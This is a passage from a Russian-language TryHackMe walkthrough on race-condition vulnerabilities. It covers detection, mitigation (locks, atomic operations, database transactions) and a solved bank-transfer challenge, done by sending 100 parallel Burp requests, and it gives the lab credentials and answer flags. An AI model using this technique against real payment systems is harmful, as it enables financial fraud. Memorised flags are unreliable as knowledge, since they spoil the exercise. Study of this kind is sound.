    &lt;p id=&quot;Ajgb&quot;&gt;Вопрос: Чтобы получить флаг, вам нужно иметь на одном из аккаунтов более 100 долларов на счету. Какой флаг вы получили?&lt;/p&gt;
    &lt;figure id=&quot;Zaj1&quot; class=&quot;m_original&quot;&gt;
      &lt;img src=&quot;https://img2.teletype.in/files/da/f3/daf3a13c-07dd-451a-b522-28c47e35b247.png&quot; width=&quot;750&quot; /&gt;
    &lt;/figure&gt;
    &lt;p id=&quot;UB0G&quot;&gt;Ответ: THM{PHONE-RACE}&lt;/p&gt;
  &lt;/section&gt;
  &lt;h2 id=&quot;lAMk&quot;&gt;&lt;strong&gt;6. Выявление и смягчение последствий&lt;/strong&gt;&lt;/h2&gt;
  &lt;h2 id=&quot;oKhU&quot;&gt;Обнаружение&lt;/h2&gt;
  &lt;p id=&quot;8GJe&quot;&gt;Выявление состояний гонки с точки зрения владельца бизнеса может быть сложной задачей. Если несколько пользователей активировали одну и ту же подарочную карту несколько раз, это, скорее всего, останется незамеченным, если не проверять журналы на наличие определенных действий. Учитывая, что состояния гонки могут использоваться для эксплуатации даже более скрытых уязвимостей, очевидно, что нам нужна помощь специалистов по тестированию на проникновение и охотников за уязвимостями, чтобы попытаться обнаружить такие уязвимости и сообщить о своих находках.&lt;/p&gt;
  &lt;p id=&quot;4Eq1&quot;&gt;Специалисты по тестированию на проникновение должны понимать, как система ведет себя в нормальных условиях при применении ограничений. К таким ограничениям относятся: однократное использование, однократное голосование, однократная оценка, ограничение баланса и ограничение до одного раза в 5 минут, и другие. Следующим шагом будет попытка обойти это ограничение путем использования состояний гонки. Выявление различных состояний системы может помочь сделать обоснованные предположения о временных окнах, в которых можно использовать состояние гонки. Такие инструменты, как Burp Suite Repeater, могут стать отличной отправной точкой.&lt;/p&gt;
  &lt;h2 id=&quot;cuD6&quot;&gt;Смягчение последствий&lt;/h2&gt;
  &lt;p id=&quot;5A58&quot;&gt;Мы перечислим несколько методов смягчения последствий.&lt;/p&gt;
  &lt;ul id=&quot;edeh&quot;&gt;
    &lt;li id=&quot;OVwW&quot;&gt;&lt;strong&gt;Механизмы синхронизации&lt;/strong&gt; : Современные языки программирования предоставляют механизмы синхронизации, такие как блокировки. Блокировку может получить только один поток одновременно, что предотвращает доступ других потоков к общему ресурсу до тех пор, пока блокировка не будет освобождена.&lt;/li&gt;
    &lt;li id=&quot;Ju4F&quot;&gt;&lt;strong&gt;Атомарные операции&lt;/strong&gt; : Атомарные операции представляют собой неделимые исполнительные блоки — набор инструкций, сгруппированных вместе и выполняемых без прерывания. Такой подход гарантирует завершение операции без прерывания другим потоком.&lt;/li&gt;
    &lt;li id=&quot;CzOk&quot;&gt;&lt;strong&gt;Транзакции базы данных&lt;/strong&gt; : Транзакции объединяют несколько операций с базой данных в один блок. Следовательно, все операции в рамках транзакции либо завершаются успешно, либо завершаются с ошибкой. Такой подход обеспечивает согласованность данных и предотвращает состояния гонки, возникающие при одновременном изменении базы данных несколькими процессами.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;h2 id=&quot;SwI9&quot;&gt;&lt;strong&gt;7. Соревнования по веб-приложениям&lt;/strong&gt;&lt;/h2&gt;
  &lt;p id=&quot;Nvj5&quot;&gt;Теперь задача такая:&lt;br /&gt;&lt;/p&gt;
  &lt;p id=&quot;0nMU&quot;&gt;В этой комнате были представлены состояния гонки и различные ситуации, приводящие к таким уязвимостям. Сложность системы и географическое распространение могут приводить к разнообразным непредвиденным ситуациям, включая уязвимости, связанные с состояниями гонки. Для обнаружения и использования таких состояний крайне важно сначала понаблюдать за поведением системы в нормальных условиях, а затем попытаться выяснить, как она ведет себя при попытке использовать уязвимость по времени. Имеющиеся в настоящее время инструменты предоставляют множество методов для экспериментов.&lt;/p&gt;
  &lt;h2 id=&quot;vQOE&quot;&gt;Испытание&lt;/h2&gt;
  &lt;p id=&quot;XL30&quot;&gt;Исходя из полученных знаний, пришло время попытаться обнаружить и использовать состояние гонки без посторонней помощи.&lt;/p&gt;
  &lt;p id=&quot;P8jB&quot;&gt;Нажмите кнопку &lt;strong&gt;«Запустить машину»&lt;/strong&gt; справа, чтобы запустить подключенную виртуальную машину . Нажмите кнопку &lt;strong&gt;«Запустить AttackBox»&lt;/strong&gt; вверху, чтобы запустить AttackBox, если вы еще этого не сделали. В AttackBox перейдите по адресу &lt;code&gt;http://MACHINE_IP:5000&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;ULIH&quot;&gt;Это учетные данные трех пользователей:&lt;/p&gt;
  &lt;figure id=&quot;ijY5&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/d5/d4/d5d411e2-b14b-48cf-bf96-3e7ab6296316.png&quot; width=&quot;552&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;MIUH&quot;&gt;&lt;strong&gt;Имя: Рассер Конд&lt;/strong&gt;&lt;/p&gt;
  &lt;ul id=&quot;P5WJ&quot;&gt;
    &lt;li id=&quot;YfsR&quot;&gt;Имя пользователя:&lt;code&gt;4621&lt;/code&gt;&lt;/li&gt;
    &lt;li id=&quot;cfbE&quot;&gt;Пароль:&lt;code&gt;blueApple&lt;/code&gt;&lt;/li&gt;
  &lt;/ul&gt;
  &lt;figure id=&quot;00wR&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/f5/25/f52598b8-8795-491b-a7d7-49bc6a517ad4.png&quot; width=&quot;303&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;lfwt&quot;&gt;&lt;strong&gt;Имя: Заводни Став&lt;/strong&gt;&lt;/p&gt;
  &lt;ul id=&quot;cI2V&quot;&gt;
    &lt;li id=&quot;wfnr&quot;&gt;Имя пользователя:&lt;code&gt;6282&lt;/code&gt;&lt;/li&gt;
    &lt;li id=&quot;Es1C&quot;&gt;Пароль:&lt;code&gt;whiteHorse&lt;/code&gt;&lt;/li&gt;
  &lt;/ul&gt;
  &lt;figure id=&quot;2zDu&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/6b/4c/6b4cb92a-452a-4322-9c30-d56e6deb625c.png&quot; width=&quot;258&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;DMOF&quot;&gt;&lt;strong&gt;Имя: Warunki Wyscigu&lt;/strong&gt;&lt;/p&gt;
  &lt;ul id=&quot;UvID&quot;&gt;
    &lt;li id=&quot;iVu6&quot;&gt;Имя пользователя:&lt;code&gt;9317&lt;/code&gt;&lt;/li&gt;
    &lt;li id=&quot;qrTD&quot;&gt;Пароль:&lt;code&gt;greenOrange&lt;/code&gt;&lt;/li&gt;
  &lt;/ul&gt;
  &lt;figure id=&quot;IzE6&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/53/7d/537d56bc-2ea1-4c69-85be-a73dbcc58635.png&quot; width=&quot;209&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;vAHL&quot;&gt;у каждого пользователя по 100$&lt;/p&gt;
  &lt;p id=&quot;DrcG&quot;&gt;Если мы аввторизуемся видим кнопочки для отправки денег пользователям&lt;/p&gt;
  &lt;figure id=&quot;d4c7&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/1b/ec/1bec6efc-fa30-4a45-ab1b-f2902bd69af3.png&quot; width=&quot;1518&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;eJAU&quot;&gt;Это веб-приложение принадлежит банку и позволяет клиентам переводить деньги онлайн. Для этого необходимо иметь на одном из счетов более &lt;strong&gt;1000 долларов&lt;/strong&gt; .&lt;/p&gt;
  &lt;figure id=&quot;CuJX&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/7d/8c/7d8cef92-a280-479a-9cdb-5487e1e0007e.png&quot; width=&quot;534&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Frpg&quot;&gt;Перехватываем через бурп&lt;/p&gt;
  &lt;figure id=&quot;BoIc&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/33/b2/33b26365-a94f-4f4f-954b-2804e908f3e0.png&quot; width=&quot;1627&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;8JNl&quot;&gt;Создаем группу и 100 запросов&lt;/p&gt;
  &lt;figure id=&quot;jyJ6&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/50/4f/504f7251-cdee-4cc1-8ee8-27c29ba76709.png&quot; width=&quot;728&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Gnpo&quot;&gt;видим что прошло только 4-5 запросов&lt;br /&gt;&lt;/p&gt;
  &lt;figure id=&quot;tPIL&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/c0/22/c0223ce0-cf81-40b8-9656-1b2265178b56.png&quot; width=&quot;294&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;kecB&quot;&gt;возможно ещё плюсуется комиссии, стамив еще меньше баланса для отправки, отправляем уже Zavodni Stav&lt;/p&gt;
  &lt;figure id=&quot;E5nK&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/4b/6a/4b6a0f8f-37b4-43c7-859c-513869a77539.png&quot; width=&quot;1308&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;9MZr&quot;&gt;Авторизуеся под Стаф&lt;/p&gt;
  &lt;figure id=&quot;6SHU&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/89/39/89391329-bd1a-4dd9-9665-a4ee9961ef70.png&quot; width=&quot;1520&quot; /&gt;
  &lt;/figure&gt;
  &lt;section style=&quot;background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;Ajgb&quot;&gt;Вопрос: Какой флаг вы получили после того, как баланс счета превысил 1000 долларов?&lt;/p&gt;
    &lt;p id=&quot;UB0G&quot;&gt;Ответ: THM{BANK-RED-FLAG}&lt;/p&gt;
  &lt;/section&gt;
  &lt;figure id=&quot;xoFq&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/5e/8a/5e8ae7d2-da78-4e1a-a2b8-0e5d7fc22fff.png&quot; width=&quot;914&quot; /&gt;
  &lt;/figure&gt;
  &lt;hr /&gt;
  &lt;p id=&quot;ELMC&quot;&gt;&lt;a href=&quot;http://t.me/pentest89&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Основная группа&lt;/strong&gt;&lt;/a&gt; обучения ИБ&lt;br /&gt;&lt;strong&gt;&lt;a href=&quot;https://t.me/+fXKM89fYCMVmYjFi&quot; target=&quot;_blank&quot;&gt;Lab-группу&lt;/a&gt;&lt;/strong&gt; с полезным софтом / книгами / аудио.&lt;br /&gt;&lt;a href=&quot;https://t.me/+RuwyHi0We0lmZDhi&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Чат&lt;/strong&gt; &lt;/a&gt;для обсуждений, задавай свои вопросы.&lt;br /&gt;P.S. С вами был &lt;a href=&quot;https://t.me/Fnay_Offensive&quot; target=&quot;_blank&quot;&gt;@Fnay_Offensive&lt;/a&gt;&lt;br /&gt;До новой встречи, user_name!&lt;/p&gt;

</content></entry></feed>